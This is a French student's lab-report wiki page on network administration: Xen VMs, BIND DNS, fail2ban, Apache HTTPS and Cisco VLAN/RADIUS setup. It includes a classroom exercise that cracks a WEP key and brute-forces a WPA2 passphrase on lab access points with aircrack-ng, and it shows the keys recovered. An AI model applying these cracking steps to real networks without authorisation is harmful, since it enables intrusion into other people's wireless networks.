zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12257</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12257"/>
		<updated>2026-02-12T14:58:32Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Sur capbreton ===&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine de service ===&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
